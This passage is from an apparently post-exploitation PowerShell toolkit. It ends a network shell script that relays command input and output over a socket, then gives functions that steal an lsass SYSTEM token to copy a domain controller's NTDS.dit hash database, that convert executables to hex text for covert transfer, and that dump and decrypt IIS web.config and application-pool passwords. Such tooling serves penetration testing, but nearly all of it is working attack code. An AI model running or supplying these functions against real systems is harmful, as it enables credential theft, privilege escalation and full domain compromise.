$pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}}
if ($pos -gt 0) {
$string = $encoding.GetString($networkbuffer,0,$pos)
$inputstream.write($string)
start-sleep 1
if ($process.ExitCode -ne $null) {cleanup}
else {
$out = $encoding.GetString($outputstream.Read())
while($outputstream.Peek() -ne -1){
$out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}}
$stream.Write($encoding.GetBytes($out),0,$out.length)
$out = $null
$string = $null}} else {cleanup}}
'@

        $script = $part1 + $part2
        switch ($Output)
        {
            'Encoded' {ConvertTo-PostBase64Command -Command $script}
            'Script' {$script}
        }
        
    }
    End
    {
    }
}


<#
.SYNOPSIS
   Copies the NTDS.dit file from a Domain Controller using Volume Shadow Copy
.DESCRIPTION
   Copies the NTDS.dit file from a Domain Controller using Volume Shadow Copy.
   It can generate either a compressed encoded command or a script that can be
   modiefied depending on the needs for post exploitation. It will copy the
   file by default to $env:TEMP.
#>

function Get-PostCopyNTDS
{
    [CmdletBinding()]
    Param
    (
        [validateset("Encoded","Script")]
        [string]$Output = "Encoded"
    
    )

    $script = @'

$sign = @"
using System;
using System.Runtime.InteropServices;
public static class priv
{
    [DllImport("shell32.dll")]
    public static extern bool IsUserAnAdmin();
}

"@

$adminasembly = Add-Type -TypeDefinition $sign -Language CSharp -PassThru

function Get-SystemToken
{
$signature = @"
    [StructLayout(LayoutKind.Sequential, Pack = 1)]
     public struct TokPriv1Luid
     {
         public int Count;
         public long Luid;
         public int Attr;
     }
 
    public const int SE_PRIVILEGE_ENABLED = 0x00000002;
    public const int TOKEN_QUERY = 0x00000008;
    public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
    public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
 
    public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
    public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
    public const UInt32 TOKEN_DUPLICATE = 0x0002;
    public const UInt32 TOKEN_IMPERSONATE = 0x0004;
    public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
    public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
    public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
    public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
    public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
    public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
      TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
      TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
      TOKEN_ADJUST_SESSIONID);
 
    public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege";
    public const int ANYSIZE_ARRAY = 1;
 
    [StructLayout(LayoutKind.Sequential)]
    public struct LUID
    {
      public UInt32 LowPart;
      public UInt32 HighPart;
    }
 
    [StructLayout(LayoutKind.Sequential)]
    public struct LUID_AND_ATTRIBUTES {
       public LUID Luid;
       public UInt32 Attributes;
    }
 
 
    public struct TOKEN_PRIVILEGES {
      public UInt32 PrivilegeCount;
      [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)]
      public LUID_AND_ATTRIBUTES [] Privileges;
    }
 
    [DllImport("advapi32.dll", SetLastError=true)]
     public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int
        SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle);
 
 
    [DllImport("advapi32.dll", SetLastError=true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    public static extern bool SetThreadToken(
      IntPtr PHThread,
      IntPtr Token
    );
 
    [DllImport("advapi32.dll", SetLastError=true)]
     [return: MarshalAs(UnmanagedType.Bool)]
      public static extern bool OpenProcessToken(IntPtr ProcessHandle,
       UInt32 DesiredAccess, out IntPtr TokenHandle);
 
    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
 
    [DllImport("kernel32.dll", ExactSpelling = true)]
    public static extern IntPtr GetCurrentProcess();
 
    [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
     public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
     ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
"@
 
    $currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent())
    if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) {
    Write-Warning "Run the Command as an Administrator"
    Break
    }
 
    Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv
    $adjPriv = [AdjPriv.AdjPriv]
    [long]$luid = 0
 
    $tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid
    $tokPriv1Luid.Count = 1
    $tokPriv1Luid.Luid = $luid
    $tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED
 
    $retVal = $adjPriv::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid)
  
    [IntPtr]$htoken = [IntPtr]::Zero
    $retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(), [AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS, [ref]$htoken)
   
   
    $tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES
    $retVal = $adjPriv::AdjustTokenPrivileges($htoken, $false, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
 
    if(-not($retVal)) {
    [System.Runtime.InteropServices.marshal]::GetLastWin32Error()
    Break
    }
 
    $process = (Get-Process -Name lsass)
    #$process.name
    [IntPtr]$hlsasstoken = [IntPtr]::Zero
    $retVal = $adjPriv::OpenProcessToken($process.Handle, ([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -BOR [AdjPriv.AdjPriv]::TOKEN_DUPLICATE), [ref]$hlsasstoken)
 
    [IntPtr]$dulicateTokenHandle = [IntPtr]::Zero
    $retVal = $adjPriv::DuplicateToken($hlsasstoken, 2, [ref]$dulicateTokenHandle)
  
    $retval = $adjPriv::SetThreadToken([IntPtr]::Zero, $dulicateTokenHandle)
  
    if(-not($retVal)) {
    [System.Runtime.InteropServices.marshal]::GetLastWin32Error()
    }
}

function Copy-RawItem
{

    [CmdletBinding()]
    Param (
        [String]
        $Path,
        [String]
        $Destination,
        [Switch]
        $FailIfExists
    )
    $mscorlib = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ($_.Location.Split('\')[-1] -eq 'mscorlib.dll')}
    $Win32Native = $mscorlib.GetType('Microsoft.Win32.Win32Native')
    $CopyFileMethod = $Win32Native.GetMethod('CopyFile', ([Reflection.BindingFlags] 'NonPublic, Static'))
    $CopyResult = $CopyFileMethod.Invoke($null, @($Path, $Destination, ([Bool] $PSBoundParameters['FailIfExists'])))
    $HResult = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
    if ($CopyResult -eq $False -and $HResult -ne 0)
    {
        throw ( New-Object ComponentModel.Win32Exception )
    }
    else
    {
        Write-Output (Get-ChildItem $Destination)
    }
}


function Copy-NTDSDit
{
    $service=(Get-Service -name VSS)
    if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
    $id = ( Get-WMIObject -list win32_shadowcopy).Create($env:SystemDrive,"ClientAccessible").ShadowID
    $volume=(Get-WMIObjectwin32_shadowcopy -filter "ID='$id'")
    Copy-RawItem -Path "$($volume.DeviceObject)\Windows\NTDS\ntds.dit" -Destination $env:TEMP
    $volume.Delete();if($notrunning -eq 1){$service.Stop()}
    write-host "Copied to $($env:TEMP)"
}


if ([priv]::IsUserAnAdmin())
{
    $IsDC = (Get-Service -Name KDC -ErrorAction SilentlyContinue)
    if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem)
    {
        if ($IsDC)
        {
            Copy-NTDSDit
        }
        else
        {
            Write-Host "Server is not a Domain Controller"
        }
    }
    else
    {
        Get-SystemToken
        if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem)
        {
            if ($IsDC)
            {
                Copy-NTDSDit
            }
            else
            {
                Write-Host "Server is not a Domain Controller"
            }
        }
    }
}
else
{
    Write-Error "Administrator or System privelages necessary."
}


'@

    switch ($Output)
    {
        'Encoded' {Compress-PostScript -Command $script}
        'Script' {$script}
    }
}


<#
.Synopsis
   Converts a PE File or none signed file in a Hex Byte String
.DESCRIPTION
   Converts a PE File or none signed file in a Hex Byte String. The outout can be saved
   in to a text file that can be later converted back to it's original format
   with ConvertTo-PostHextoFile. Some signed executables tend to not work after conversion.
.EXAMPLE

   ConvertTo-PostFiletoHex -File C:\Windows\System32\cmd.exe -OutFile C:\note2.txt

   Convert cmd.exe in to a text file named note2.txt

#>

function ConvertTo-PostFiletoHex
{
    [CmdletBinding()]
    [OutputType([byte])]
    Param
    (
        # File to encode in to Hex
        [Parameter(Mandatory=$true,
                  ValueFromPipeline=$true,
                  Position=0)]
        [ValidateScript({Test-Path $_})]
        $File,

        # File to save the Hex encoded file.
        [String]
        $OutFile
    )

    Begin
    {
    }
    Process
    {
        [Byte[]] $hex = get-content -encoding byte -path $File

        if ($OutFile)
        {
            [System.IO.File]::WriteAllLines($OutFile, ([String]$hex))
        }
        else
        {
            Write-Output [String]$hex
        }
    }
    End
    {
    }
}


<#
.Synopsis
   Converts a file with a Hex Byte representation to it original format.
.DESCRIPTION
   Converts a file with a Hex Byte representation to it original format.
.EXAMPLE
    ConvertTo-PostHextoFile -File C:\note2.txt -OutFile C:\note2.exe
    PS C:\> Get-Item C:\note2.exe | select -ExpandProperty VersionInfo | fl *


    Comments :
    CompanyName : Microsoft Corporation
    FileBuildPart : 9200
    FileDescription : Windows Command Processor
    FileMajorPart : 6
    FileMinorPart : 2
    FileName : C:\note2.exe
    FilePrivatePart : 16384
    FileVersion : 6.2.9200.16384 (win8_rtm.120725-1247)
    InternalName : cmd
    IsDebug : False
    IsPatched : False
    IsPrivateBuild : False
    IsPreRelease : False
    IsSpecialBuild : False
    Language : English (United States)
    LegalCopyright : © Microsoft Corporation. All rights reserved.
    LegalTrademarks :
    OriginalFilename : Cmd.Exe.MUI
    PrivateBuild :
    ProductBuildPart : 9200
    ProductMajorPart : 6
    ProductMinorPart : 2
    ProductName : Microsoft® Windows® Operating System
    ProductPrivatePart : 16384
    ProductVersion : 6.2.9200.16384
    SpecialBuild :

   Converts a copy of cmd.exe converted to Hex Byte representation in note2.txt to an exe.
#>


function ConvertTo-PostHextoFile
{
    [CmdletBinding()]
    [OutputType([byte])]
    Param
    (
        # File to encode in to Hex
        [Parameter(Mandatory=$true,
                  ValueFromPipeline=$true,
                  Position=0)]
        [ValidateScript({Test-Path $_})]
        $File,

        # File to save the Hex encoded file.
        [String]
        $OutFile
    )

    Begin
    {
    }
    Process
    {
        [string]$hex = Get-Content -path $File
        [Byte[]] $temp = $hex -split ' '
        [System.IO.File]::WriteAllBytes($OutFile, $temp)
    }
    End
    {
    }
}

function Get-Webconfig
{    
    # Author: Scott Sutherland - 2014, NetSPI
    # Author: Antti Rantasaari - 2014, NetSPI
    # Version: get-webconfig.ps1 v1.0
    
    <#
        .SYNOPSIS
           This script will recover cleartext and encrypted connection strings from all web.config
           files on the system. Also, it will decrypt them if needed.
       
        .DESCRIPTION
           This script will identify all of the web.config files on the system and recover the
           connection strings used to support authentication to backend databases. If needed, the
           script will also decrypt the connection strings on the fly. The output supports the
           pipeline which can be used to convert all of the results into a pretty table by piping
           to format-table.
       
        .EXAMPLE
           Return a list of cleartext and decrypted connect strings from web.config files.
       
           PS C:\>get-webconfig

           user : s1admin
           pass : s1password
           dbserv : 192.168.1.103\server1
           vdir : C:\test2
           path : C:\test2\web.config
           encr : No
           
           user : s1user
           pass : s1password
           dbserv : 192.168.1.103\server1
           vdir : C:\inetpub\wwwroot
           path : C:\inetpub\wwwroot\web.config
           encr : Yes
       
        .EXAMPLE
           Return a list of clear text and decrypted connect strings from web.config files.
       
           PS C:\>get-webconfig | Format-Table -Autosize
           
           user pass dbserv vdir path encr
           ---- ---- ------ ---- ---- ----
           s1admin s1password 192.168.1.101\server1 C:\App1 C:\App1\web.config No
           s1user s1password 192.168.1.101\server1 C:\inetpub\wwwroot C:\inetpub\wwwroot\web.config No
           s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\test\web.config No
           s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\web.config Yes
           s3user s3password 192.168.1.103\server3 D:\App3 D:\App3\web.config No

         .LINK
           http://www.netspi.com
           https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx
           http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe
           http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx

         .NOTES
           Below is an alterantive method for grabbing connection strings, but it doesn't support decryption.
           for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings
        #>



    # Check if appcmd.exe exists
    if (Test-Path  ("c:\windows\system32\inetsrv\appcmd.exe"))
    {
        # Create data table to house results
        $DataTable = New-Object System.Data.DataTable 

        # Create and name columns in the data table
        $DataTable.Columns.Add("user") | Out-Null
        $DataTable.Columns.Add("pass") | Out-Null  
        $DataTable.Columns.Add("dbserv") | Out-Null
        $DataTable.Columns.Add("vdir") | Out-Null
        $DataTable.Columns.Add("path") | Out-Null
        $DataTable.Columns.Add("encr") | Out-Null

        # Get list of virtual directories in IIS
        c:\windows\system32\inetsrv\appcmd.exe list vdir /text:physicalpath | 
        foreach { 

            $CurrentVdir = $_

            # Converts CMD style env vars (%) to powershell env vars (env)
            if ($_ -like "*%*")
            {            
                $EnvarName = "`$env:"+$_.split("%")[1]
                $EnvarValue = Invoke-Expression $EnvarName
                $RestofPath = $_.split("%")[2]            
                $CurrentVdir  = $EnvarValue+$RestofPath
            }

            # Search for web.config files in each virtual directory
            $CurrentVdir | Get-ChildItem -Recurse -Filter web.config | 
            foreach{
            
                # Set web.config path
                $CurrentPath = $_.fullname

                # Read the data from the web.config xml file
                [xml]$ConfigFile = Get-Content $_.fullname

                # Check if the connectionStrings are encrypted
                if ($ConfigFile.configuration.connectionStrings.add)
                {
                                
                    # Foreach connection string add to data table
                    $ConfigFile.configuration.connectionStrings.add| 
                    foreach {

                        [string]$MyConString = $_.connectionString  
                        $ConfUser = $MyConString.Split("=")[3].Split(";")[0]
                        $ConfPass = $MyConString.Split("=")[4].Split(";")[0]
                        $ConfServ = $MyConString.Split("=")[1].Split(";")[0]
                        $ConfVdir = $CurrentVdir
                        $ConfPath = $CurrentPath
                        $ConfEnc = "No"
                        $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc) | Out-Null                    
                    }  

                }else{

                    # Find newest version of aspnet_regiis.exe to use (it works with older versions)
                    $aspnet_regiis_path = Get-ChildItem -Recurse -filter aspnet_regiis.exe c:\Windows\Microsoft.NET\Framework\ | Sort-Object -Descending  |  select fullname -First 1              

                    # Check if aspnet_regiis.exe exists
                    if (Test-Path  ($aspnet_regiis_path.FullName))
                    {

                        # Setup path for temp web.config to the current user's temp dir
                        $WebConfigPath = (get-item $env:temp).FullName + "\web.config"

                        # Remove existing temp web.config
                        if (Test-Path  ($WebConfigPath)) 
                        { 
                            Del $WebConfigPath 
                        }
                    
                        # Copy web.config from vdir to user temp for decryption
                        Copy $CurrentPath $WebConfigPath

                        #Decrypt web.config in user temp
                        $aspnet_regiis_cmd = $aspnet_regiis_path.fullname+' -pdf "connectionStrings" (get-item $env:temp).FullName'
                        invoke-expression $aspnet_regiis_cmd | Out-Null

                        # Read the data from the web.config in temp
                        [xml]$TMPConfigFile = Get-Content $WebConfigPath

                        # Check if the connectionStrings are still encrypted
                        if ($TMPConfigFile.configuration.connectionStrings.add)
                        {
                                
                            # Foreach connection string add to data table
                            $TMPConfigFile.configuration.connectionStrings.add| 
                            foreach {

                                [string]$MyConString = $_.connectionString  
                                $ConfUser = $MyConString.Split("=")[3].Split(";")[0]
                                $ConfPass = $MyConString.Split("=")[4].Split(";")[0]
                                $ConfServ = $MyConString.Split("=")[1].Split(";")[0]
                                $ConfVdir = $CurrentVdir
                                $ConfPath = $CurrentPath
                                $ConfEnc = "Yes"
                                $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc) | Out-Null                    
                            }  

                        }else{
                            Write-Error "Decryption of $CurrentPath failed."                        
                        }
                    }else{
                        Write-Error "aspnet_regiis.exe does not exist in the default location."
                    }
                }           
            }
        }

        # Check if any connection strings were found
        if( $DataTable.rows.Count -gt 0 )
        {

            # Display results in list view that can feed into the pipeline
            $DataTable |  Sort-Object user,pass,dbserv,vdir,path,encr | select user,pass,dbserv,vdir,path,encr -Unique       
        }else{

            # Status user
            Write-Error "No connectionStrings found."
        }     

    }else{
        Write-Error "Appcmd.exe does not exist in the default location."
    }

}

 <#
    .SYNOPSIS
    This script will recover encrypted application pool and virtual directory passwords from the applicationHost.config on the system.
       
    .DESCRIPTION
    This script will decrypt and recover application pool and virtual directory passwords
    from the applicationHost.config file on the system. The output supports the
    pipeline which can be used to convert all of the results into a pretty table by piping
    to format-table.
       
    .EXAMPLE
    Return application pool and virtual directory passwords from the applicationHost.config on the system.
       
    PS C:\>get-ApplicationHost

    user : PoolUser1
    pass : PoolParty1!
    type : Application Pool
    vdir : NA
    apppool : ApplicationPool1

    user : PoolUser2
    pass : PoolParty2!
    type : Application Pool
    vdir : NA
    apppool : ApplicationPool2

    user : VdirUser1
    pass : VdirPassword1!
    type : Virtual Directory
    vdir : site1/vdir1/
    apppool : NA

    user : VdirUser2
    pass : VdirPassword2!
    type : Virtual Directory
    vdir : site2/
    apppool : NA
       
    .EXAMPLE
    Return a list of cleartext and decrypted connect strings from web.config files.
       
    PS C:\>get-ApplicationHost | Format-Table -Autosize
           
    user pass type vdir apppool
    ---- ---- ---- ---- -------
    PoolUser1 PoolParty1! Application Pool NA ApplicationPool1
    PoolUser2 PoolParty2! Application Pool NA ApplicationPool2
    VdirUser1 VdirPassword1! Virtual Directory site1/vdir1/ NA
    VdirUser2 VdirPassword2! Virtual Directory site2/ NA

    .LINK
    http://www.netspi.com
    http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe
    http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx

    .NOTES
    Author: Scott Sutherland - 2014, NetSPI
    Version: Get-ApplicationHost v1.0
    Comments: Should work on IIS 6 and Above

#>

function Get-ApplicationHost
{    
        # Check if appcmd.exe exists
        if (Test-Path  ("c:\windows\system32\inetsrv\appcmd.exe"))
        {
            # Create data table to house results
            $DataTable = New-Object System.Data.DataTable 

            # Create and name columns in the data table
            $DataTable.Columns.Add("user") | Out-Null
            $DataTable.Columns.Add("pass") | Out-Null  
            $DataTable.Columns.Add("type") | Out-Null
            $DataTable.Columns.Add("vdir") | Out-Null
            $DataTable.Columns.Add("apppool") | Out-Null

            # Get list of application pools
            c:\windows\system32\inetsrv\appcmd.exe list apppools /text:name | 
            foreach { 
            
                #Get application pool name
                $PoolName = $_
            
                #Get username
                $PoolUserCmd = 'c:\windows\system32\inetsrv\appcmd.exe list apppool "'+$PoolName+'" /text:processmodel.username'
                $PoolUser = invoke-expression $PoolUserCmd 
                        
                #Get password
                $PoolPasswordCmd = 'c:\windows\system32\inetsrv\appcmd.exe list apppool "'+$PoolName+'" /text:processmodel.password'
                $PoolPassword = invoke-expression $PoolPasswordCmd 

                #Check if credentials exists
                IF ($PoolPassword -ne "")
                {
                        
                    #Add credentials to database
                    $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) | Out-Null  
                }
            }
        

            # Get list of virtual directories
            c:\windows\system32\inetsrv\appcmd.exe list vdir /text:vdir.name | 
            foreach { 

                #Get Virtual Directory Name
                $VdirName = $_
            
                #Get username
                $VdirUserCmd = 'c:\windows\system32\inetsrv\appcmd list vdir "'+$VdirName+'" /text:userName'
                $VdirUser = invoke-expression $VdirUserCmd
                        
                #Get password
                $VdirPasswordCmd = 'c:\windows\system32\inetsrv\appcmd list vdir "'+$VdirName+'" /text:password'
                $VdirPassword = invoke-expression $VdirPasswordCmd

                #Check if credentials exists
                IF ($VdirPassword -ne "")
                {
                        
                    #Add credentials to database
                    $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') | Out-Null  
                }
            }
    

            # Check if any passwords were found
            if( $DataTable.rows.Count -gt 0 )
            {

                # Display results in list view that can feed into the pipeline
                $DataTable |  Sort-Object type,user,pass,vdir,apppool | select user,pass,type,vdir,apppool -Unique       
            }else{

                # Status user
                Write-Error "No application pool or virtual directory passwords were found."
            }     
        }else{
            Write-Error "Appcmd.exe does not exist in the default location."
        }
}